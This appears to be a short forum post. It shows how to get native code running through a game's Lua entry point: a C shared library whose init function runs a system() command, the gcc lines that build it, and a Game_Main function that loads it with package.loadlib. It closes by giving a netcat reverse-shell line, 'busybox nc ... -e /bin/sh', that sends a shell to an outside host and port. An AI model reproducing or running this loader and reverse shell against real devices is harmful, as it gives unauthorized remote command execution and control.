Code: Select all
#include <stdlib.h>
int luaopen_myfunc() {
system("ping -w 10 123.123.123.123");
return 0;
}
Code: Select all
gcc -Wall -fPIC -c mylib.c
gcc -shared -o mylib.so mylib.o
Code: Select all
function Game_Main(mypath)
myfunc=assert(package.loadlib(mypath.."mylib.so", "luaopen_myfunc"))
myfunc()
end
(this just opens nc interactive shell on your wanted port, like: busybox nc 123.123.123.123 1234 -e /bin/sh)